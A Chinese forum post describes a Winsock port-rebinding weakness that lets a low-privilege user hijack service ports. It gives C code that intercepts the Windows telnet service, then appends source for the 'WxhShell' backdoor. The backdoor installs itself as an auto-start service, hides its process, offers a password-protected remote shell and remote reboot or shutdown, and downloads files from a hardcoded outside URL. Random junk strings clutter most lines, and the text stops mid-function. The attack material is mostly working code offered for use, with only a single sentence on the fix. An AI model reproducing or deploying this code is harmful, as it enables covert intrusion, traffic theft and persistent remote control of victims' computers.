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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I;.E}k   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MG5Sn*(C  
U1!2nJ]  
  saddr.sin_family = AF_INET; XoQk'7"f  
qkG;YGio  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^5 =E`q".  
$JSC+o(q3#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  D6!+  
l=?y=2+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $`dNl#G,  
z,x"vK(  
  这意味着什么?意味着可以进行如下的攻击: OQ&D?2r  
Y~SlipY_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DCzPm/#b  
lJY=*KB(6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <RVtLTd/  
+rpd0s49  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (tLQX~Ur  
[qMO7enu#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8=o5;]Cg  
R9-JjG2v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eh/OCzWH  
]S aH/$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k3.p@8@:  
T9<nD"=:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?BvI/H5d  
j!o3g;j  
  #include "LIii1]k  
  #include y-q?pqt  
  #include o9d$ 4s@/  
  #include    s /q5o@b{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TdIFZ[<7  
  int main() v oS"X  
  { 4S EC4yO  
  WORD wVersionRequested; GaqG 8% .  
  DWORD ret; D#[ :NXahn  
  WSADATA wsaData; (E(:F[.S  
  BOOL val; :;Rt#!  
  SOCKADDR_IN saddr; FY}*Z=D%  
  SOCKADDR_IN scaddr; /lQ0`^yB  
  int err; v/+}FS=  
  SOCKET s; (Tb0PzA  
  SOCKET sc; |ylTy B  
  int caddsize; dq/?&X  
  HANDLE mt; m`q> _*  
  DWORD tid;   \.|A,G=  
  wVersionRequested = MAKEWORD( 2, 2 ); yBh"qnOT  
  err = WSAStartup( wVersionRequested, &wsaData ); sq|@9GS0T  
  if ( err != 0 ) { =\7p0cq&*  
  printf("error!WSAStartup failed!\n"); }JMkM9]  
  return -1; `(suRp8!  
  } `+;oo B  
  saddr.sin_family = AF_INET; _rVX_   
   < LAD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xKzFrP;/{  
(NN14  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GZVl384@  
  saddr.sin_port = htons(23); RAQ;O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '#::ba[9w  
  { h`rjDd  
  printf("error!socket failed!\n"); W&f Py%g  
  return -1; R:^?6f<Z}  
  } at]Q4  
  val = TRUE; H[k3)r2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5(`GF|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gH)B` @  
  { $uB(@Ft.  
  printf("error!setsockopt failed!\n");  CyDf[C)=  
  return -1; 7[0k5-  
  } [E1|jcmQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jxw:Jk ~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U (7P X`1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2Lgvy/uN  
arL&^]JnZ,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G6VHl:e7z  
  { (w B[ ]O$@  
  ret=GetLastError(); U(LR('-h  
  printf("error!bind failed!\n"); |L{dQ)-'l  
  return -1; !Y(qpC:$  
  } ;]x5;b9`  
  listen(s,2); JlGD.!`  
  while(1) Q&Ahr  
  { rL3Vogw'e  
  caddsize = sizeof(scaddr); ^O*hs%eO%  
  //接受连接请求 !Qa7-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >&Q. .`q  
  if(sc!=INVALID_SOCKET) Q.$h![`6  
  { :.df(1(RL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e-)1K  
  if(mt==NULL) 3g:+p  
  { <r3n?w8  
  printf("Thread Creat Failed!\n"); x99 Oq!  
  break; v("vUqhx2+  
  } }AYSQ~:  
  } 7Q}@L1A9F,  
  CloseHandle(mt); TFPq(i  
  } %k)I =|  
  closesocket(s); XQ;d ew+  
  WSACleanup(); Lf M(DK  
  return 0; rqJj!{<B  
  }   <qt%MM [Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~kT{O!x}4  
  { @?? 6)C  
  SOCKET ss = (SOCKET)lpParam; O G}&%NgH  
  SOCKET sc; tTp`e0L*m  
  unsigned char buf[4096]; XhV"<&v  
  SOCKADDR_IN saddr; O#Hz5 A5  
  long num; N6%q%7F.:  
  DWORD val; 4 jro4B`  
  DWORD ret; )E2Lf ]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &2pM3re/f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /*HSAjv  
  saddr.sin_family = AF_INET; H9!*DA<W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L$Z_j()2  
  saddr.sin_port = htons(23); [_1G\z_iE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p:%E>K1<  
  { ^ ?9 ~R"  
  printf("error!socket failed!\n"); XX6)(  
  return -1; 5] %kWV>  
  } ka%pS  
  val = 100; ox#4|<qM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $, 42h  
  { 3l[hkRFu`  
  ret = GetLastError(); IxR:a(  
  return -1; x%&V!L  
  } GefgOlg5"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N3RwcM9+;  
  { - [j0B|cwG  
  ret = GetLastError(); n//a;m  
  return -1; )6WU&0>AU8  
  } Z3{Qtysuv3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5UyK1e))  
  { r'?&VS-Cj  
  printf("error!socket connect failed!\n"); t$iU|^'uV  
  closesocket(sc); D40VJ3TUc  
  closesocket(ss); gk%ye&:f  
  return -1; P 'k39  
  } Wfy+7$14M  
  while(1) iJeT+}  
  { }clNXtN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~VF,qspO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mq?21gW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7?s>u937  
  num = recv(ss,buf,4096,0); z[OEg HI  
  if(num>0) e(A&VIp  
  send(sc,buf,num,0); Mla,"~4D5  
  else if(num==0) cG6+'=]3<  
  break; \v Go5`  
  num = recv(sc,buf,4096,0);  ^k=[P  
  if(num>0) SfT]C~#$N  
  send(ss,buf,num,0); ']x]X ,  
  else if(num==0) ly+7klQ;.  
  break; B4=gMVp1  
  } m%puD 9  
  closesocket(ss); 6m&I_icM  
  closesocket(sc); :Fl:bRH+  
  return 0 ; (fS4qz:&l  
  } _`58G#z  
tnntHQ&b  
St<\qC  
========================================================== 5Z{[.&x  
Ycm1 _z  
下边附上一个代码,,WXhSHELL Dl6zl6q?  
1|CO>)*D  
========================================================== 0c) 19Ig  
YQJ_t@0C  
#include "stdafx.h" mi?Fy0\  
s!Vtw p9  
#include <stdio.h> yMxS'j1  
#include <string.h> i8F~$6C  
#include <windows.h> ?jnEHn  
#include <winsock2.h> x g@;d  
#include <winsvc.h> anYZ"GR+  
#include <urlmon.h> 6 ?cV1:jh  
w:Vs$,  
#pragma comment (lib, "Ws2_32.lib") R?R6|4  
#pragma comment (lib, "urlmon.lib") O^GTPYW  
UF4QPPH4  
#define MAX_USER   100 // 最大客户端连接数 7 m%|TwJN  
#define BUF_SOCK   200 // sock buffer @VFg XN  
#define KEY_BUFF   255 // 输入 buffer X8<ygci+.5  
TkykI  
#define REBOOT     0   // 重启 pQD8#y)`C  
#define SHUTDOWN   1   // 关机 h#>67gJV  
JaEyVe  
#define DEF_PORT   5000 // 监听端口 &Jz%L^  
Q_S fFsY  
#define REG_LEN     16   // 注册表键长度 NH/H+7,o  
#define SVC_LEN     80   // NT服务名长度 Ghz)=3  
@EvnV.  
// 从dll定义API h fNBWN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nr}H;wB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k<y$[xV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X |as1Y$O+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BScysoeD  
<GC:aG  
// wxhshell配置信息 #cA}B L!3  
struct WSCFG { _]NM@'e  
  int ws_port;         // 监听端口 @: NrC76  
  char ws_passstr[REG_LEN]; // 口令 aOOY_S E  
  int ws_autoins;       // 安装标记, 1=yes 0=no rB\UNXy  
  char ws_regname[REG_LEN]; // 注册表键名 ^?,/_3  
  char ws_svcname[REG_LEN]; // 服务名 k5 8lmuU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #~Q0s)Ze  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ax$0J|}7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cuHs`{u@P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /<5/gV 1Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tfsG P]9$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DvGtO)5._  
3j2}n o8O  
}; H$ v4N8D8I  
n*V^Q f  
// default Wxhshell configuration 7@ZL(G  
struct WSCFG wscfg={DEF_PORT, _\"?:~rUN  
    "xuhuanlingzhe", k0,~wn\#h  
    1, #Ew}@t9  
    "Wxhshell", /[mCK3_  
    "Wxhshell", Q8O38uZ  
            "WxhShell Service", *+iWB_  
    "Wrsky Windows CmdShell Service", [@(zGb8  
    "Please Input Your Password: ", V%+KJ}S!Z  
  1, FD8aO?wvg  
  "http://www.wrsky.com/wxhshell.exe", eL],\\q  
  "Wxhshell.exe" uE>}>6)b  
    }; tG6 o^  
tcs Z! #  
// 消息定义模块 YEGXhn5E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BZE19!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OLv(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; edm&,ph]  
char *msg_ws_ext="\n\rExit."; =,sMOJ c>  
char *msg_ws_end="\n\rQuit."; s%Z3Zj(,8(  
char *msg_ws_boot="\n\rReboot..."; _A(J^;?  
char *msg_ws_poff="\n\rShutdown..."; tFRWxy[5  
char *msg_ws_down="\n\rSave to "; a/_ `1  
3Z`oI#-x  
char *msg_ws_err="\n\rErr!"; .DT1Jvl  
char *msg_ws_ok="\n\rOK!"; |_-FQ~Hf F  
[scPs,5Y  
char ExeFile[MAX_PATH]; 2o,%O91p  
int nUser = 0; ^<< Wqmx  
HANDLE handles[MAX_USER]; ^LZU><{';  
int OsIsNt; " jy'Dpy0m  
atY m.qb  
SERVICE_STATUS       serviceStatus; K@h v[4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ")TI,a`  
|*!I(wm2i  
// 函数声明 z\v\T|C  
int Install(void); 5}1cNp6@  
int Uninstall(void); rZ^DiFR  
int DownloadFile(char *sURL, SOCKET wsh); QjPcfR\  
int Boot(int flag); >XA#/K  
void HideProc(void); J^u8d?>r  
int GetOsVer(void); [z?q -$#  
int Wxhshell(SOCKET wsl); D:%v((Ccw  
void TalkWithClient(void *cs); (fq>P1-  
int CmdShell(SOCKET sock); hD;[}8qN{  
int StartFromService(void); |d8/ZD  
int StartWxhshell(LPSTR lpCmdLine); Iu%S><'+  
CFVe0!\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &a O3N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G|.>p<q   
<pz;G}  
// 数据结构和表定义 }F-WOQ  
SERVICE_TABLE_ENTRY DispatchTable[] = /QG8\wXE2  
{ #b:8-Lt:M  
{wscfg.ws_svcname, NTServiceMain}, kz+P?mopm  
{NULL, NULL} Hl]3F^{  
}; op[5]tjL  
KyDQ<Dq&  
// 自我安装 4"0`J  
int Install(void) poeKY[].  
{ 6kHAoERp  
  char svExeFile[MAX_PATH]; iN_G|w[d  
  HKEY key; Riw#+#r]/  
  strcpy(svExeFile,ExeFile); o XA*K.X<  
+DksWb D  
// 如果是win9x系统,修改注册表设为自启动 }9jy)gF*e  
if(!OsIsNt) { dqnxhN+&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eEXer>Rm   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &c0U\G|j  
  RegCloseKey(key); OLlNCb#t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HA>b'lqBM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w R1M_&-s  
  RegCloseKey(key); $TWt[  
  return 0; :FB#,AOa_  
    } &p0*:(j  
  } 10{ZW@!7  
} +:;r} 7Zh  
else { _a^%V9t  
2BEF8o]Np  
// 如果是NT以上系统,安装为系统服务 Uk5jZ|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )9,9yd~SI  
if (schSCManager!=0) GAV|x]R  
{ ?$v#;n?@I  
  SC_HANDLE schService = CreateService B$sB1M0q  
  ( cOq^}Ohan  
  schSCManager, Av]<[ F/  
  wscfg.ws_svcname, Xh;Pbm|K  
  wscfg.ws_svcdisp, pl%3RVpoc  
  SERVICE_ALL_ACCESS, x)h5W+$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y#o ,Vg*V  
  SERVICE_AUTO_START, 3w#kvtDVm  
  SERVICE_ERROR_NORMAL, +-1t]`9k4  
  svExeFile, #toKT_  
  NULL, x<4-Q6'{S  
  NULL, nJNdq`y2  
  NULL, Rcfh*"k  
  NULL, Q3*@m  
  NULL !0{":4 \  
  ); ANZD7v6a  
  if (schService!=0) TIYI\/a\;  
  { (g*2OS  
  CloseServiceHandle(schService); Vnlns2pQl  
  CloseServiceHandle(schSCManager); UF3WpA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aPWlV= oG  
  strcat(svExeFile,wscfg.ws_svcname); ;"Q{dOvp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;JFy 8Rj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xQ=[0!p+  
  RegCloseKey(key); ^ 1}_VB)^  
  return 0; q ;1]M[&  
    } y".uu+hL`  
  } :Em[> XA  
  CloseServiceHandle(schSCManager); [RTB|0Q  
} 9K-=2hvv  
} ;<O Iu&,*  
3~iIo&NZ  
return 1; <p;cR` %uE  
} [/.o>R#J(  
be}^}w=  
// 自我卸载 WgF Xv@Jjt  
int Uninstall(void) T1.`*,t)=  
{ wz3BtCx  
  HKEY key; Ox#%Dm2  
~m2tWi@  
if(!OsIsNt) { "9:1>Gr{G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F 0 q#.   
  RegDeleteValue(key,wscfg.ws_regname); E=+v1\t)]  
  RegCloseKey(key); a=>PGriL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ew~piuj  
  RegDeleteValue(key,wscfg.ws_regname); 3iMh)YH5b  
  RegCloseKey(key); sg RY`U.C  
  return 0; 6&5p3G{%0  
  } }J$Q  
} x'tYf^Va28  
} n$i}r\ so  
else { bX23F?  
\#Ez["mD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t:X\`.W  
if (schSCManager!=0) ]{;=<t6  
{ 7+QD=j-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dOh`F~ Y)e  
  if (schService!=0) EW7heIT$  
  { ()i8 Qepo}  
  if(DeleteService(schService)!=0) { ;"l>HL:^  
  CloseServiceHandle(schService); }@>=,A4Y  
  CloseServiceHandle(schSCManager); A8Tq2]"* S  
  return 0; Ju4={^#  
  } 3C{3"bP  
  CloseServiceHandle(schService); @=B'<&g$Xv  
  } )>abB?RZ  
  CloseServiceHandle(schSCManager); :yO.Te F  
} u^&2T(xG i  
} ve;#o<  
a/Z >-   
return 1; 8T6.Zhv  
}  *(5y;1KU  
U2l7@uDr;  
// 从指定url下载文件 "$#X[ .  
int DownloadFile(char *sURL, SOCKET wsh) ]c%yib  
{ })f4`$qf  
  HRESULT hr; B/u0^!  
char seps[]= "/"; JFf*v6:,  
char *token; @5jJoy(mX@  
char *file; Exd$v"s Y  
char myURL[MAX_PATH]; 6fV%[.RR  
char myFILE[MAX_PATH]; 9un* 1%  
Ad!= *n  
strcpy(myURL,sURL); Yz4)Q1  
  token=strtok(myURL,seps); MM8@0t'E  
  while(token!=NULL) R%B"Gtl)  
  { Vf<VKP[9K  
    file=token; 0EiURVX  
  token=strtok(NULL,seps); oU[Ba8qh  
  } y8=p;7DY  
s8 S[w   
GetCurrentDirectory(MAX_PATH,myFILE); jSNUU.lur  
strcat(myFILE, "\\"); szW_cjS  
strcat(myFILE, file); z=C'qF`  
  send(wsh,myFILE,strlen(myFILE),0); wn2+4> |~p  
send(wsh,"...",3,0); e%. Xya#\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FrXFm+8 F  
  if(hr==S_OK) ;T6{J[ h  
return 0; wi]ya\(*yl  
else t:y} 7un  
return 1; <,/k"Y=  
9ReH@5_bGM  
} Sz4G,c  
g_'F(An  
// 系统电源模块 r,F~Vwa}  
int Boot(int flag) yM}b  
{ =D88jkQe"  
  HANDLE hToken; TTB1}j+V6  
  TOKEN_PRIVILEGES tkp; %@JNX}Y'  
zzmZ`Ya  
  if(OsIsNt) { 022nn-~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f%r0K6p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \Y;LbB8D  
    tkp.PrivilegeCount = 1; m=;0NLs4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JBX#U@k>I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x0aPY;,N0  
if(flag==REBOOT) { MR8\'0]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _m3}0q  
  return 0; 'nH/Z 84  
} .1F(-mLd  
else { FtBYPSGz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #H]b Xr  
  return 0; 5:[<pY!s#  
} <?|v-(E  
  } s-^B)0T!  
  else { )na 8a!  
if(flag==REBOOT) { y k=o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N^i<A2'6S;  
  return 0; ;uw`6 KJ  
} l+# l\q%l  
else { m(Hb! RT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l!Bc0  
  return 0; h4@v. GI  
} c,WRgXL  
} %3v:c|r  
@WcK<Qho  
return 1; 1<Vc[p&  
} 6k?,'&z|~  
^a9v5hu  
// win9x进程隐藏模块 D$k<<dvv  
void HideProc(void) >:5^4/fo*  
{ Vs>/q:I  
UsT+o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?sF<L/P0 F  
  if ( hKernel != NULL ) !@ERAPuk  
  { ;Dl< GW3<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "T>74bj_|Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k+*DPo@)  
    FreeLibrary(hKernel); V*an0@  
  } SSi-Z  
~(%TQY5  
return; 'G3;!xk$  
} gQ]WNJ~>  
^4jIT1  
// 获取操作系统版本 f? sW^ d;  
int GetOsVer(void) 4[@`j{  
{ j 8lWra\y  
  OSVERSIONINFO winfo; -b1VY4m-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6.]x@=Wm  
  GetVersionEx(&winfo); kbij Zj{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lWYZAF>?Ym  
  return 1; 3hzI6otKS  
  else Q/e$Ttt4J  
  return 0; OKDBzl  
} ts2;?`~  
&r0b~RwUv  
// 客户端句柄模块 ~N</;{}fL4  
int Wxhshell(SOCKET wsl) L%D:gy9o  
{ RS`]>K3t  
  SOCKET wsh; hdFIriE3  
  struct sockaddr_in client; L2v j)(  
  DWORD myID; d,"?tip/SX  
\Qp #utC0s  
  while(nUser<MAX_USER) x)'4u6;d  
{ YuO-a$BP  
  int nSize=sizeof(client); JXR_klx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g.CUo:c  
  if(wsh==INVALID_SOCKET) return 1; $`J'Y>`  
L\@SX?j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E1,Sr?'  
if(handles[nUser]==0) .gPE Qc+D  
  closesocket(wsh); #N`~. 96  
else n<C4-'^U[a  
  nUser++; fX)C8J^=G  
  } [K2\e N~g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k0;ND  
4H 4U  
  return 0; &"bcI7uGT  
} (h8M  
3EGQ$  
// 关闭 socket 3q*y~5&I  
void CloseIt(SOCKET wsh) Z<@Kkbj  
{ <|= UrG  
closesocket(wsh); R#ayN*  
nUser--; 3?Ckk{)&  
ExitThread(0); e=b>:n  
} qMD!No  
MPt:bf#  
// 客户端请求句柄 _sU|<1  
void TalkWithClient(void *cs) l V[d`%(  
{ {3RY4HVT?  
`N 0Mm7  
  SOCKET wsh=(SOCKET)cs; 'n> ,+,&  
  char pwd[SVC_LEN]; !f~ =p  
  char cmd[KEY_BUFF]; ]fH U/%  
char chr[1]; "*o54z5"  
int i,j; JX_hLy@`  
e/@tU'$  
  while (nUser < MAX_USER) { )9sRDNr  
& i,on6  
if(wscfg.ws_passstr) { i#I+   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hdB.u^!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a9rn[n1Q  
  //ZeroMemory(pwd,KEY_BUFF); klC;fm2C  
      i=0; ["|' f  
  while(i<SVC_LEN) { =3rPE"@,[  
\I r&&%  
  // 设置超时 y~)rZ-eSB  
  fd_set FdRead; qTK\'trgx]  
  struct timeval TimeOut; Rpit>  
  FD_ZERO(&FdRead); cr!6qv1  
  FD_SET(wsh,&FdRead); =$`xis\  
  TimeOut.tv_sec=8; nZ?BC O  
  TimeOut.tv_usec=0; J 00<NRxj"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [zp v3Uw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G5y>v^&H  
v J*IUy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !,}W|(P)  
  pwd=chr[0]; Ux_tHyc/  
  if(chr[0]==0xd || chr[0]==0xa) { T( @y#09  
  pwd=0; y74Ph:^ k  
  break; b>|3?G  
  } e(/~;"r{  
  i++; }V.Wp6"S   
    } ZA@QP1  
b&.j>=  
  // 如果是非法用户,关闭 socket 4am`X1YV#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]^,<Ez  
} d4c-(ZRl  
Lq@pJ)a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p8<Y5:`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $x&@!/&|pv  
*@'4 A :A  
while(1) { 8zew8I~s  
G%N/]]ll  
  ZeroMemory(cmd,KEY_BUFF); BXgAohg!  
/E'c y  
      // 自动支持客户端 telnet标准   +RexQE  
  j=0; x2B~1edf  
  while(j<KEY_BUFF) { Sbub|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #W#GI"K  
  cmd[j]=chr[0]; ;Ab`b1B  
  if(chr[0]==0xa || chr[0]==0xd) { *ayn<Vlh`^  
  cmd[j]=0; mQt';|X@  
  break; %1ofu,%  
  } 2kV[A92s  
  j++; S -j<O&h~C  
    } .uzg2Kd_  
:5X1Tr= A  
  // 下载文件  8U!;  
  if(strstr(cmd,"http://")) { Hl"rGA>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 55xv+|k  
  if(DownloadFile(cmd,wsh)) 4`@]jm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ubDudzp  
  else `{fqnNJE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u9>zC QRO  
  } *<*{gO?Q4  
  else { 4HlOv % 8  
8[LwG&  
    switch(cmd[0]) { ;+]9KIa_Pq  
  Dt,b\6  
  // 帮助 & f7{3BK  
  case '?': { yoTbIQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?29zcuRaru  
    break; @xR7>-$0p  
  } )e.Y"5My  
  // 安装 v)@EK6Nty  
  case 'i': { *OU>s;"$  
    if(Install()) Xv 3u}nPMq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IuDg-M[  
    else 0T2h3,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q g=k@  
    break; z'a#lA.$}  
    } G)\s{qk  
  // 卸载 c;_GZ}8  
  case 'r': { ?(GMe>  
    if(Uninstall()) WTPp/Nq'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GSg|Gz""J0  
    else /0QGU4=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z;shFMu  
    break; <>GWSW  
    } 6GCwc1g  
  // 显示 wxhshell 所在路径 f!;i$Oif  
  case 'p': { BQWEC,*N  
    char svExeFile[MAX_PATH]; !}wJ+R ^2  
    strcpy(svExeFile,"\n\r"); &T?>Kx  
      strcat(svExeFile,ExeFile); HM%n`1ZU  
        send(wsh,svExeFile,strlen(svExeFile),0); P_+S;(QQ~d  
    break; >B$ZKE  
    } A+%oE  
  // 重启 F\ !;}z  
  case 'b': { =W)Fa6P3j(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hGi"=Oud2  
    if(Boot(REBOOT)) ($*bwqp]}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /km^IH  
    else { {\22C `9t  
    closesocket(wsh); 9 O| "Ws>{  
    ExitThread(0); 0'O;H[nrl  
    } ey<u  
    break; v'*  
    } "!<Kmh5  
  // 关机 6'W79  
  case 'd': { ~rE U83  
